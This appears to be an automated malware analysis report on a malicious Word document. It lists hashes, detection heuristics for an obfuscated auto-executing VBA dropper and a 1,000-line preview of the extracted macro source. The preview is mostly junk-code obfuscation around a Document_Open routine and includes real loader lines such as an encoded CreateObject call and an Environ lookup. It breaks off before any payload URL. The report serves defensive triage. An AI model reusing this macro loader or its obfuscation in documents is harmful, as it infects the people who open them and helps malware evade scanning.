Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3615528f675f7923…

MALICIOUS

Office (OLE)

518.5 KB Created: 2018-09-07 13:37:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 6c2530c6b387834f61ef10cb512bacd1 SHA-1: b775604e18b4062b61c786a309d8ab1f4b31caac SHA-256: 3615528f675f79237a2c63e92b368266b78370b0ee6366593c4d7e4dda2009fb
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the macro downloads and saves a file to disk, likely a second-stage payload. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics further confirm the presence of an obfuscated auto-executing loader. The ClamAV detection 'Doc.Dropper.Agent-7119839-0' also points to a dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7119839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7119839-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        xxVqAs = EmTceX.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set EmTceX = CreateObject(ECJntziZ("MjA%iIR?c  TrBziowP[s.#Qo)kqf(O.tXFm.jhGXNhmMf HLbg H MDTYO TtjTPIZr"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set EmTceX = CreateObject(ECJntziZ("MjA%iIR?c  TrBziowP[s.#Qo)kqf(O.tXFm.jhGXNhmMf HLbg H MDTYO TtjTPIZr"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set eWYemm = GetObject(ofiXm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        tEpCii = Environ(ECJntziZ("AW _lLFIlG  U(GVsOiSeoAarb Bsqw[P@Bkrl GoFLLf H i )FlH^%ef[w"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 294022 bytes
SHA-256: dd7b663b8cfb29be2030b87b5001d702ddf83b312e5446236d2327aa870bdc63
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1147 of 1879 identifiers look randomly generated (e.g. 'EFvWImPtccNTRtNYIC') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    HijfvwachQI = RTrim("-h& !?@^z ?eG # oF  ")
    NZVGpQ = 1710 + 351 + 1722
    qZyLmfHauGm = Right("wVG  HrRW xk", 5)
    HijfvwachQI = RTrim("XssC GOAk   ")
    cFQfC = RTrim("P pTRxes (oGXRC $")
    While wHysLw < 1
        NZVGpQ = LTrim("[CpFjK%KR  zl Tk Rq")
        ASPXD = LTrim("  %Hy[ . CppSHYq")
        HijfvwachQI = Space(16)
        ASPXD = Left("#A&K Hr -N]fHwh  X ", 5)
        NZVGpQ = 1098 + 302 + 707
        vzbMiIOkp = LTrim("#jd Y  lX D")
        PdfBHDmXYpmH = "OR@$w i Ct  a" + " @)f  DH  Z_" + "Uy m $ ]LdP"
        TkSelvRVwy = "rc)TYS _O !?mCRH" + "UfqvXy%X?&nPMm onUQ" + "(E #  TTE JAa"
        qZyLmfHauGm = UCase("-?  Ph SB zS   w")
        vzbMiIOkp = 1936 - 830 - 1336
        NZVGpQ = UCase("XbLR-wyWvT K[ a@b ")
        nRySCPYf = RTrim("  h T@N? Vc.M i ")
        NIzAZ = Space(12)
        vzbMiIOkp = 1106 - 1234 - 1302
        nRySCPYf = Right("u Vy__@(N !? Ui$( ", 4)
        nRySCPYf = Space(4)
        wHysLw = wHysLw + 2
    Wend

    For lssuVx = 0 To 6
        nRySCPYf = "VlxZf&Fkd  " + " f [WIWIpk" + "( [[ZIQUF)iW"
        cFQfC = 509 - 925 - 1544
        nRySCPYf = RTrim("OH U[LPZGx")
        HijfvwachQI = LTrim("sAbXb)r_ Z$ r.  @jX")
        ASPXD = 1338 + 970 + 469
        HijfvwachQI = StrReverse("aB!KBLilVRW")
    Next lssuVx

    cFQfC = Left("b  nq[s p Cf$ y! h", 4)
    qZyLmfHauGm = Right("OqG ](ia^jgh ( h", 4)
    vzbMiIOkp = Space(5)
    vzbMiIOkp = LTrim(" SM%O  q$YxF( ")
    While jYcKBN < 2
        NZVGpQ = UCase("pTOG  YJGPv i.X)Jf")
        NZVGpQ = Right("lCS@YveZ ?PO ", 2)
        TkSelvRVwy = StrReverse("D $GI U  QAI")
        TkSelvRVwy = LTrim("W Kg  cPM il v Ax")
        NZVGpQ = Left("tOjc%I q$U_@tE elLaZ", 3)
        NZVGpQ = Left("G H.ii D C ", 5)
        qZyLmfHauGm = LTrim("Za) YPeEwS%qrt _X ")
        qZyLmfHauGm = UCase("IFO pMlX s I[yor")
        vzbMiIOkp = 1558 - 1828 - 1752
        vzbMiIOkp = LTrim("Gz AaNH V.Y t")
        vzbMiIOkp = RTrim("V)G  ^ O SB  EIjWk#")
        TkSelvRVwy = StrReverse("t L w_ kKf $mm]dtE")
        NZVGpQ = LTrim(" ahTMVe.c ?")
        nRySCPYf = Right("xYkpJ fcI U ^", 2)
        vzbMiIOkp = " BEB(Ox]   " + "pn FyAOEqrjgmU  p" + "E H el..C)E km l "
        jYcKBN = jYcKBN + 1
    Wend

    TkSelvRVwy = StrReverse("  Hh Y-)Xia%OS")
    While UblDfJ < 4
        PdfBHDmXYpmH = 1061 - 1538 - 968
        nRySCPYf = Left("V GOtZtu jTHYTh ", 5)
        qZyLmfHauGm = StrReverse("CC   G Ejb S?-k gv ")
        TkSelvRVwy = UCase("LT ]. mT  K N ")
        ASPXD = Space(4)
        UblDfJ = UblDfJ + 2
    Wend

    PdfBHDmXYpmH = LTrim("oa S  c E.Qe")
    NZVGpQ = 1479 + 483 + 516
    nRySCPYf = Left("@Cu (ZT#TLUwQ", 4)
    qZyLmfHauGm = 672 + 863 + 765
    While xoelON < 3
        While NmDSBr < 5
            qZyLmfHauGm = LTrim("tvBH X$p-Hf")
            vzbMiIOkp = Right("z_Sd JYHXyl(-K@ f", 5)
            cFQfC = 1464 - 1843 - 235
            nRySCPYf = Left(" s O J GtlaN GB ] ", 2)
            nRySCPYf = UCase(". uU (#G   mWAo SB F")
            ASPXD = Space(11)
            vzbMiIOkp = Right("a G$q[q)ndRyv-$]pV", 5)
            ASPXD = 688 + 1880 + 1343
            HijfvwachQI = "TRf N? yq X W k" + " H L I_uhsX Fi#" + ".D!avwo  t mL Dljupx"
            qZyLmfHauGm = StrReverse("mFZzw  #-  _ ")
            TkSelvRVwy = StrReverse(" U .PzMP_&BO-v &s m")
            qZyLmfHauGm = UCase(" qO rDv  Vw   j z")
            NmDSBr = NmDSBr + 1
        Wend

        PdfBHDmXYpmH = RTrim(" VX h!   lb ^ RGvv")
        qZyLmfHauGm = Right("iWo u!gW dAlZ", 3)
        NZVGpQ = Left(" xuuW !pW  ON", 4)
        vzbMiIOkp = 936 + 1623 + 318
        qZyLmfHauGm = LTrim("g n_ j oYA _.")
        vzbMiIOkp = " Cx[ A GrA" + "A$.FBK  tev_ " + "n?  RY rZmK %WVimW$J"
        vzbMiIOkp = RTrim("xT vN    pvQ%  k")
        qZyLmfHauGm = RTrim("_iW^.RQGxcAf")
        ASPXD = StrReverse("LNe N  ANneKYE")
        TkSelvRVwy = LTrim("#uj  zrd KV  ")
        nRySCPYf = StrReverse("t?J    ovY-MQ H")
        vzbMiIOkp = 1045 + 1556 + 1614
        cFQfC = RTrim("Ug vH.ij iT   ")
        HijfvwachQI = UCase(" ( (w j@C  xIoS wW")
        nRySCPYf = 678 - 494 - 220
        PdfBHDmXYpmH = Right("WBW upQzw ]u a", 4)
        xoelON = xoelON + 1
    Wend

    PdfBHDmXYpmH = LTrim("s$A.UcCwC?II FXemGN")
    For KsNXhF = 0 To 2
        While iaTkpi < 4
            vzbMiIOkp = Right("#  y S)b $RWmCv", 4)
            nRySCPYf = Left("S!s&D %xb(lDN", 4)
            NZVGpQ = StrReverse(" pqahQPDjkS .CHbP")
            qZyLmfHauGm = Right(" GB u Ug&q_hEg?t", 4)
            NIzAZ = Right("D    CnWZIg!", 5)
            NZVGpQ = Space(13)
            NIzAZ = RTrim("wg   NJ(Q W_@")
            PdfBHDmXYpmH = Space(18)
            iaTkpi = iaTkpi + 2
        Wend

        ASPXD = LTrim("TrY o LjCDMw]D")
        NIzAZ = Left("ILwstj#%y#", 4)
        qZyLmfHauGm = Left("HIlPsjzbYF lP @a", 2)
        NIzAZ = 1286 - 1085 - 1964
        cFQfC = LTrim("qck)-iVr GrISl  In")
    Next KsNXhF

    HijfvwachQI = StrReverse("AH  $O ekZs[jD  [ #")
    vzbMiIOkp = UCase("nORGhYUvLQfC jN^^")
    While xzZkxV < 2
        nRySCPYf = LTrim("  I(  CJLp!")
        qZyLmfHauGm = 1504 - 1425 - 1982
        NIzAZ = Right(" ^XC( a t ", 2)
        TkSelvRVwy = Right("a_hQs cO  bmi u] H", 2)
        HijfvwachQI = Space(2)
        NIzAZ = "AsNrZ vEP% yK  p-ns" + "] ast a &IBstGb  XY" + "k  B  D ?(SDd C  hG"
        xzZkxV = xzZkxV + 3
    Wend

    TkSelvRVwy = LTrim("#&zKvBd kU Sq[")
    NZVGpQ = RTrim(" - [w % lNO_w#Q")
    PdfBHDmXYpmH = "yLP a Uc^ NE s ?rtk" + " NFP Z__r^%" + " (Tg rW a$  P"
    NIzAZ = Space(14)
    ASPXD = 1922 + 1569 + 535
    NIzAZ = UCase("SJp #^_ kq   O @s ")
fBpnKFK "ROQnqCwu", "tQFxqSLvTF", "JQZlnmv", "OCKRKo", "JwBdEoGFE", "vJuJpnS"
    tEpCii = Environ(ECJntziZ("AW _lLFIlG  U(GVsOiSeoAarb Bsqw[P@Bkrl GoFLLf H i )FlH^%ef[w"))
    qZyLmfHauGm = Left("xwKTAvQUq A(]p&", 4)
    qZyLmfHauGm = Left(" RefqLK    I v (", 5)
    NZVGpQ = StrReverse(" )s v?BN koNJZ zI([")
    qZyLmfHauGm = 1649 - 1303 - 1968
    Dim OZfTEr As String
    vzbMiIOkp = Right("cC?dzPiuO % q", 4)
    qZyLmfHauGm = " rs.rU] R FnZt" + "VWr dD^oy.u  l " + "XXI^zPyIo[VrI&E  #"
    PdfBHDmXYpmH = Space(7)
    While metSfk < 4
        qZyLmfHauGm = StrReverse("]dEfe!& Le nZxmJ)G  ")
        ASPXD = StrReverse("snRf yj . wSq^")
        ASPXD = StrReverse("G  e$Bz.nx @#uD ]")
        PdfBHDmXYpmH = Right("T   ngX%?VQ s", 4)
        qZyLmfHauGm = Right("w XlH  w^[ ", 4)
        ASPXD = Space(12)
        NZVGpQ = " y XS m(fm#t" + "LFXx ie@gqBwR" + "Gau eXz VuS    a"
        cFQfC = StrReverse(" EO@D Lo  @R #Pba")
        NIzAZ = LTrim("a&vYmz h (yxc qD")
        TkSelvRVwy = "%p !tgP WlWI " + "hg ] eO@k pDX  in" + "aheMDpUa!VA%VERo "
        TkSelvRVwy = UCase("B V]B  [     !b h$ ")
        PdfBHDmXYpmH = Left(" pJf rB@oW L(%am(pmW", 4)
        cFQfC = Right("TE POhG $!!a#c", 2)
        nRySCPYf = LTrim("-a  Q)bO Q?fHz  ")
        qZyLmfHauGm = Right("Z] azUbF%ag s j", 2)
        NZVGpQ = 1115 + 1401 + 1449
        nRySCPYf = RTrim("- @ypO Bq[)Op tBz#")
        HijfvwachQI = RTrim("   pQ Xi@  #SuH t")
        HijfvwachQI = 1654 + 1914 + 1238
        NZVGpQ = "V[rI  rC v  qn@d( K" + "&c$] nwTd)(dgP? ! " + "V )- mNy%tTHLtK "
        metSfk = metSfk + 3
    Wend

    qZyLmfHauGm = Left("v sWed  lUCfS", 3)
    NZVGpQ = Left("WNmDt.Xv qLY .au", 2)
    For ooRdRq = 0 To 7
        qZyLmfHauGm = 423 - 389 - 264
        qZyLmfHauGm = UCase("G UF]Q O w r r R i")
        TkSelvRVwy = Right(" _h T y %j y  x", 2)
        cFQfC = 1033 + 577 + 128
        PdfBHDmXYpmH = 1742 + 1420 + 1679
        nRySCPYf = 997 - 940 - 1427
    Next ooRdRq

    NIzAZ = 891 - 612 - 117
    OZfTEr = "FqyQO"
    cFQfC = "o]C[ ^%  #-e " + "JbE Q UindOmN$  " + "uOsMqx   S_)us"
    ASPXD = StrReverse("  DUa(WbiM")
    For ECjZQp = 0 To 7
        vzbMiIOkp = Left("JSNB#WdfXA", 2)
        vzbMiIOkp = Right("K !s gig#g[SYM% ", 4)
        qZyLmfHauGm = StrReverse("U( o# (yLQi .GP) ")
        nRySCPYf = 133 + 1554 + 893
        HijfvwachQI = Space(10)
        PdfBHDmXYpmH = RTrim("u[Y B&MWPghIbC!")
        cFQfC = 140 - 278 - 815
        PdfBHDmXYpmH = "m ENWf A F MP B  Ff" + "ee]OD[&c  r" + "K X!EMDVNFhLg"
        qZyLmfHauGm = RTrim(" vI   #A k mK")
        ASPXD = 625 - 664 - 882
        HijfvwachQI = LTrim("ERaE Q _cB  NeR P w")
        TkSelvRVwy = "f&S(v  YWC ^b#z vz " + "ral m CF?  ] eb^h" + "LMK )    g !A"
        cFQfC = RTrim("-TX HyVzGKOGNs")
        NZVGpQ = Space(3)
    Next ECjZQp

    nRySCPYf = 1508 - 1608 - 652
    ASPXD = LTrim(" IJ&Sk  )s")
    While RDibkp < 5
        NZVGpQ = RTrim("U #M(r  eu$%")
        PdfBHDmXYpmH = UCase("UzL K RPI yR(q")
        ASPXD = Right("l P oeE ll)H ", 5)
        PdfBHDmXYpmH = 1746 + 970 + 1488
        PdfBHDmXYpmH = LTrim(" &P t    @   uY  ")
        vzbMiIOkp = StrReverse(" ? Bd Zu KYI_xx#v!")
        ASPXD = Left("X bj OW)y AIzZ ", 2)
        NIzAZ = RTrim(" Zx Mqwviq-s")
        ASPXD = " ]#hnolPbyL O" + "c & s#DA Bnoy_mppZ" + "A CeNw]jJ U v"
        ASPXD = Space(1)
        TkSelvRVwy = Right("U gK^[i.GeWJ  EX", 2)
        nRySCPYf = Space(10)
        vzbMiIOkp = Right("  u CtL )IQ", 4)
        qZyLmfHauGm = Right(" TsI)RZz  G WjNw C ", 5)
        qZyLmfHauGm = Right(" i. ( zjuW.", 2)
        ASPXD = 702 + 916 + 879
        ASPXD = LTrim(" wUXT&cN. ]i?I   O")
        HijfvwachQI = LTrim(" jynZ  RGA ")
        nRySCPYf = "   Ab #h  s" + " dRy jIDh-zL" + "^xNsKOnz!uJb(ssZJ "
        RDibkp = RDibkp + 1
    Wend

    nRySCPYf = UCase("P P  LHf]GodiEbxD ")
    ASPXD = UCase("H CwZ@eW )I!H")
    OZfTEr = OZfTEr + "FlALq"
    PdfBHDmXYpmH = 1547 + 542 + 415
    HijfvwachQI = UCase("Hf_qX S  u")
    While cSvMwL < 2
        For mtpuxj = 0 To 10
            NZVGpQ = "t jfK& q   pC_ a" + "a#.xyoHu Oe" + " %PviH_)^ph["
            vzbMiIOkp = Space(2)
            qZyLmfHauGm = Left(" RSx N kNIZ_ [t$Nj", 5)
            cFQfC = 1192 + 787 + 1743
            HijfvwachQI = Right("w!_H h ? iK) jMX.H]", 5)
            vzbMiIOkp = LTrim("gzVj#I [  m")
            vzbMiIOkp = UCase("G  [u  G eG.mytugj")
            vzbMiIOkp = UCase("a (pwAn F[BP@ j_d")
            qZyLmfHauGm = "h LWby#HfG .!]F  U" + "eRLdKnR  r" + "GvTlAZozH)"
            cFQfC = StrReverse("q (#m!  UG@ [l ")
            TkSelvRVwy = 1075 + 994 + 886
            HijfvwachQI = 936 + 316 + 1461
            nRySCPYf = StrReverse(" ) ]op)rX%^XMoEjuY")
            HijfvwachQI = Left("rRLn_PI   R", 3)
            ASPXD = UCase("RJI-uMw  I[&?")
            TkSelvRVwy = Right("b n NYQ-c h bT", 3)
            TkSelvRVwy = UCase("qjJ_F zPnb mi")
            vzbMiIOkp = StrReverse("nGY HhmHWD ]@  ")
            HijfvwachQI = 1266 - 1673 - 1963
        Next mtpuxj

        NZVGpQ = StrReverse(" R?aK ] e ")
        ASPXD = Left("_II !T  B.RJa", 5)
        PdfBHDmXYpmH = Space(17)
        NZVGpQ = 1837 - 101 - 864
        HijfvwachQI = RTrim("B])sa cFDT  ")
        vzbMiIOkp = 1308 - 555 - 1784
        NIzAZ = Left(" )dG K ltsX z ", 3)
        NIzAZ = RTrim("cCk^M !F  Z A#bXX")
        ASPXD = Space(14)
        vzbMiIOkp = 1912 + 1261 + 1240
        vzbMiIOkp = Left(" tphU U].o X?! ) R%", 2)
        NIzAZ = 1571 - 764 - 1266
        TkSelvRVwy = Left(" o ePfUoa GZG S p) j", 5)
        HijfvwachQI = LTrim("y)OsA  $yf")
        cSvMwL = cSvMwL + 3
    Wend

    For XHnhaU = 0 To 1
        For frfTJM = 0 To 8
            qZyLmfHauGm = Space(17)
            PdfBHDmXYpmH = StrReverse(" lV!( l SW $")
            cFQfC = Space(2)
            ASPXD = UCase("R   Sd?II [CahU?")
            cFQfC = Space(10)
            cFQfC = Right("q]D]VRJ RMk .uL^ ", 4)
            NIzAZ = "n MPK!$L c b!A cOb" + "   D#  bkV   h yo M " + " Atc y)nI n nWuf Ah"
            NIzAZ = "_ Vrl ZEYG sd  " + "mHD ^ !Gc O]  mX Y[U" + "?V a@(u sG "
            NIzAZ = 1026 + 305 + 1361
            ASPXD = "@ltdo (jTq G" + "@x-NeC?eoEH j  VABa" + "gW D oX @# SE?b"
        Next frfTJM

        NZVGpQ = Space(9)
        NZVGpQ = Left("$Sc zw_ CF?c(Q EodEX", 3)
        qZyLmfHauGm = LTrim("dMn g  Jl ")
        cFQfC = 1410 + 1972 + 671
        NIzAZ = Left("b%FT J&ss  t[I", 2)
        TkSelvRVwy = Space(18)
        nRySCPYf = LTrim("VxJ ]^IUCu?")
        NIzAZ = UCase("?)%(o   lpr(! rYJnJp")
    Next XHnhaU

    cFQfC = Left("%N mcU mMxnN", 4)
    While kwEuGi < 2
        For dKZfLi = 0 To 8
            NIzAZ = RTrim("C @ g_ VD  V ?  -.")
            ASPXD = LTrim("mT egmGMjst")
            cFQfC = LTrim(" fI La B  TKF  !kdhe")
            vzbMiIOkp = Right(" WR]MXU^OX ", 4)
            HijfvwachQI = Space(1)
            qZyLmfHauGm = RTrim("sL[%Lpm^XhmG( CP ")
            PdfBHDmXYpmH = Space(7)
            HijfvwachQI = Right("ojdv  ]ybEon]BBuO ", 3)
        Next dKZfLi

        cFQfC = Left("r RdCBmm w- (L#oFF  ", 2)
        ASPXD = UCase("la@     O !k]")
        nRySCPYf = StrReverse("aJX w %O  Mgn  ^Rm")
        qZyLmfHauGm = 1548 + 1540 + 308
        NZVGpQ = " t MCC xkcp--R _ J" + "gFc Vb dO)" + "fp FuPK iETDb@K)%t"
        NIzAZ = 856 + 995 + 871
        vzbMiIOkp = RTrim(" p A cfDTv h!O)EZ")
        vzbMiIOkp = Left("Z Wq _ .%[", 2)
        nRySCPYf = "a@?( &IaTVtk[b bg " + "OT!Um-$c  lN" + "cs&wFW(Q^cv wjj Y "
        PdfBHDmXYpmH = UCase("H  #J^ cxb")
        NIzAZ = Right("EoTY_ VRwt", 5)
        vzbMiIOkp = 1488 + 117 + 1491
        nRySCPYf = Left("!s?dQse v#", 5)
        TkSelvRVwy = UCase("AQ jyi!lg^T%kb  G")
        NIzAZ = UCase("d# TE l)gc Cyc _")
        qZyLmfHauGm = LTrim("-emR _wryKcp B P")
        TkSelvRVwy = Left("R BmGKH(d]PCc]C", 3)
        ASPXD = 1697 + 1899 + 1078
        kwEuGi = kwEuGi + 2
    Wend

    OZfTEr = OZfTEr + ")]Dk["
    While fVUGdt < 2
        nRySCPYf = 261 - 429 - 549
        NZVGpQ = 260 - 1707 - 111
        cFQfC = 1222 - 1702 - 1894
        qZyLmfHauGm = RTrim("e[% x D _ QQJ$&Vq")
        PdfBHDmXYpmH = Space(20)
        nRySCPYf = UCase("iJ  tHdkI [uTw aip ")
        HijfvwachQI = UCase(" [DwZ CWfRJ#  Sjd$w")
        qZyLmfHauGm = " O G ^ JW pJg%ec(m" + "T]T  YC Y " + "yoXjuC   a. f"
        qZyLmfHauGm = LTrim("vuFqh)Jz.oz  ")
        HijfvwachQI = 1650 - 1008 - 182
        NZVGpQ = Right("mcl #Z qWtQkamWj f", 2)
        PdfBHDmXYpmH = StrReverse("Vkr# NP B  HF WY@!")
        PdfBHDmXYpmH = LTrim("IC?D.pKL)wqIW_ %nA")
        fVUGdt = fVUGdt + 2
    Wend

    ASPXD = "mdZkX Vb&CQ" + "p] WQLS?kYbLf?d" + "cz. zBx.h ljSD#ol^@"
    NIzAZ = " T $whK[.)!" + "CjjGIw]T@Ed $s-%A d" + "_Th  d rt! V VGl @&"
    vzbMiIOkp = "  G aWJ[ux PW!b" + "gb@U%FN  FN gU" + " j     S   % "
    PdfBHDmXYpmH = Space(14)
    While EljRIc < 4
        For GjwSel = 0 To 9
            NIzAZ = LTrim(" FYlr Jwku$lM^Qh&ABH")
            PdfBHDmXYpmH = 206 - 1336 - 908
            NZVGpQ = Left("eGLq&lJRq^ck TYQQzhz", 5)
            nRySCPYf = 709 - 362 - 315
            nRySCPYf = LTrim("WY^pz n eM O ")
            nRySCPYf = Right("GnKmn   Ghay", 4)
            HijfvwachQI = Right("TA@!& @ eh(%  Q.", 4)
            HijfvwachQI = 428 + 721 + 1936
            NIzAZ = 1941 + 378 + 562
        Next GjwSel

        nRySCPYf = LTrim("  Cioo  Q ")
        TkSelvRVwy = UCase("yf ^  ?Su H($S")
        nRySCPYf = LTrim("fkrTR#  n&.&cwJ vb")
        vzbMiIOkp = Right(".[%BaEr .sne xks%", 3)
        cFQfC = UCase("?LZ! q( DLGc fdX")
        nRySCPYf = Left("BqNcIprTFhIWzgl", 4)
        TkSelvRVwy = Left("X) -eGIB%eexX", 4)
        qZyLmfHauGm = Right("M[ V])q e TLP(Jhw ?", 2)
        qZyLmfHauGm = RTrim(" T    v  ##cx a")
        ASPXD = Left("a%I    cIf)", 5)
        PdfBHDmXYpmH = Left("_!B ipPwb!T-vmt y", 5)
        nRySCPYf = Left(")ldtVMj N((NL( sLD", 2)
        vzbMiIOkp = 1648 + 1451 + 1886
        vzbMiIOkp = LTrim("   X^ IFi  E)w    g")
        nRySCPYf = Right(" Un&zJ[% I_wQwy", 4)
        EljRIc = EljRIc + 2
    Wend

    qZyLmfHauGm = Right("yZ jVVIegRX B PH ", 3)
    NZVGpQ = "GH TehMvvjAy" + "v    S^-Ozh  jiDS" + "e W  @A) _e"
    OZfTEr = OZfTEr + "#Eb ["
    PdfBHDmXYpmH = StrReverse("m !J JYa[ %C.mHw_Em")
    HijfvwachQI = StrReverse("IEAOGhmPwyEVZZ")
    qZyLmfHauGm = Right("N mJYSJdd!C#zSg", 4)
    qZyLmfHauGm = Space(19)
    HijfvwachQI = RTrim(" G SL m]YusK.  ")
    ASPXD = RTrim("zBh^%d    Y ! ) ")
    OZfTEr = OZfTEr + "R !B\"
    While dqEfcz < 1
        For KuwZiX = 0 To 8
            vzbMiIOkp = Left("Oz Ja e Df#j    ", 3)
            ASPXD = Space(1)
            NZVGpQ = StrReverse(" So   gY  ")
            ASPXD = 1985 - 1032 - 1570
            HijfvwachQI = 1983 + 1101 + 370
            TkSelvRVwy = Space(2)
            NIzAZ = Space(3)
            ASPXD = "wcO[wLoG )$ -i O" + " xnO)) _pkTBf c" + " QIDdf ]p[.X"
            HijfvwachQI = Right("    I zq w GS&M_PC", 4)
            TkSelvRVwy = UCase("M RxP Ep u  ")
            vzbMiIOkp = 316 + 1451 + 1807
            ASPXD = LTrim("SoNe vISkJ-")
            ASPXD = LTrim("  _Y (&@[cgjGpq l")
            qZyLmfHauGm = Right("OxY LU NdLBGO$^", 4)
        Next KuwZiX

        vzbMiIOkp = 910 + 806 + 1994
        NZVGpQ = LTrim("Xt(pM s  co% k)o e")
        cFQfC = RTrim("e&  UZEc.R t A_?k (")
        ASPXD = Left(" j unx  l ohA", 4)
        NIzAZ = 1736 - 1381 - 1416
        cFQfC = Space(14)
        dqEfcz = dqEfcz + 2
    Wend

    vzbMiIOkp = 1944 - 1669 - 1006
    NIzAZ = 1814 - 602 - 684
    qZyLmfHauGm = UCase("Hj#& ( !x-]ki ")
    ASPXD = LTrim("hPLmq!p?     ")
    For mSBIVZ = 0 To 3
        For zqThlS = 0 To 8
            PdfBHDmXYpmH = Left("O^v ?-AC  fG_ wOU ", 5)
            nRySCPYf = LTrim("% yrw%i yu")
            NZVGpQ = RTrim("S#maO^!B_ b^ [ ")
            cFQfC = Space(11)
            NIzAZ = Right("GFLmiw- b[] (t ", 5)
            nRySCPYf = StrReverse(" BSF SJRFz^P % t!R")
            vzbMiIOkp = Left("bC ?qNkB ncHQWz  ", 4)
            cFQfC = Space(16)
            cFQfC = Right(" %b KpeB !H", 4)
            HijfvwachQI = Left("ms$emH-jd -[j QD@ ", 5)
            vzbMiIOkp = "vAN X^o^XLohpbSgcz" + "XA w_%_W h zY k" + " of^ZM  mct  u"
            nRySCPYf = LTrim("?i XvqCH# z)xV Z  R")
            nRySCPYf = 678 - 1027 - 1114
            vzbMiIOkp = "BS B   RU  W c" + ")O^Ww eBM(LVH  " + "o  Q? Re  Ip-HMjYw"
            PdfBHDmXYpmH = 134 + 1509 + 556
            nRySCPYf = RTrim("x?k  @!D.)xk] Q")
        Next zqThlS

        TkSelvRVwy = 737 + 722 + 1376
        cFQfC = Right("Tz-fB gXt @LN", 5)
        NIzAZ = Space(7)
        HijfvwachQI = Space(19)
        PdfBHDmXYpmH = 1482 + 1849 + 317
        PdfBHDmXYpmH = RTrim("^ dyyV$lgl PiRr")
        PdfBHDmXYpmH = Space(3)
        ASPXD = Left(" TV%n  MvOHJ)@ ", 2)
        vzbMiIOkp = RTrim(" hB Av SD  fwCEB")
        qZyLmfHauGm = UCase("jW  gaX tI")
        vzbMiIOkp = StrReverse("o_s jT Og?n)   pQ")
        vzbMiIOkp = Space(2)
        PdfBHDmXYpmH = UCase("[ V [ VQPF")
    Next mSBIVZ

    OZfTEr = OZfTEr + " B?qe"
    TkSelvRVwy = 143 - 1154 - 1707
    NZVGpQ = StrReverse("dro! IYHP? H@q)QaNd")
    nRySCPYf = Right("ms)G&NaQCJ(Aj   J  j", 3)
    qZyLmfHauGm = Right("x  H)  kTz] V Oj", 3)
    For BvHsxu = 0 To 9
        cFQfC = RTrim("rV  mleaKE  o[")
        cFQfC = 1829 + 1120 + 330
        cFQfC = Right("v]Xq&@ -s  C ", 5)
        vzbMiIOkp = RTrim("  ?@MY#- CHQ w (TAk")
        vzbMiIOkp = RTrim("&& y lXK] & RLAXG [ ")
        vzbMiIOkp = 288 - 1909 - 911
        TkSelvRVwy = Space(3)
        NIzAZ = Space(11)
        nRySCPYf = Left("DQA]@e#?A)(# @C ", 2)
        nRySCPYf = Right(" PnU] h ChIT  ", 3)
    Next BvHsxu

    OZfTEr = OZfTEr + "[.Db "
    NZVGpQ = 1005 + 1212 + 1608
    While IyWmZO < 5
        vzbMiIOkp = Right(".jrs j wm-z ", 5)
        NZVGpQ = LTrim("&  %_KE [TTu")
        HijfvwachQI = Space(18)
        qZyLmfHauGm = Space(18)
        nRySCPYf = LTrim("f -rgVfeI-&_@@^ ")
        nRySCPYf = RTrim(" t-X Yc FBUk")
        cFQfC = Space(17)
        nRySCPYf = Right(" ^qdFKppmbv?e a? uJ", 4)
        nRySCPYf = Left("%EwB GUfP)J", 4)
        nRySCPYf = 1634 + 1027 + 1828
        cFQfC = Left("F.M  d  gJg  NtEOS", 4)
        NIzAZ = Left("L Qo eR#Jo ", 3)
        vzbMiIOkp = Left("Ovd FWvF sI dZK? #p", 5)
        cFQfC = Left("jPR @])L@#r", 5)
        PdfBHDmXYpmH = StrReverse("yl#oiDAQUst?X(P")
        PdfBHDmXYpmH = Right("N   fLmH  MIjI-$ W", 3)
